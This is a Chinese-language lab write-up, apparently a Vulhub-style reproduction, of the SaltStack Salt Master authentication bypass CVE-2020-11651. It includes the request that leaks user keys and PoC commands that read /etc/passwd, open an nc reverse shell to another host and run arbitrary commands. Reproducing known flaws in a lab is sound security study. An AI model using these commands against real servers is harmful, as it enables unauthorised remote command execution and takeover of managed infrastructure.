SaltStack 水平权限绕过漏洞(CVE-2020-11651)
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。
在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。
参考链接:
- https://labs.f-secure.com/advisories/saltstack-authorization-bypass
- https://github.com/rossengeorgiev/salt-security-backports
- https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/tests/integration/master/test_clear_funcs.py
漏洞复现
环境启动后,将会在本地监听如下端口:
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口
- 2222 这是容器内部的SSH服务器监听的端口
复现CVE-2020-11651漏洞,我们可以使用如下请求来执行salt/master.py
中的ClearFuncs:_prep_auth_info
方法:
1 | {'cmd': '_prep_auth_info'} |
利用这个方法,可以获得目标的所有用户的key,利用这个key即可通过超级管理员权限执行一些后台功能,比如下发任务等。
使用这个POC,执行前需要安装salt库,需指定salt库版本:
1 | pip3 install salt==2019.2.3 |
读取文件:
1 | python3 CVE-2020-11651.py --master 192.168.44.132 -r /etc/passwd |
反弹shell,docker中无nc未复现:
1 | python3 CVE-2020-11651.py --master 192.168.44.132 --exec "nc 192.168.44.1 4444 -e /bin/sh" |
执行命令,创建/tmp/success文件:
1 | python3 CVE-2020-11651.py --master 192.168.44.132 --exec "touch /tmp/success" |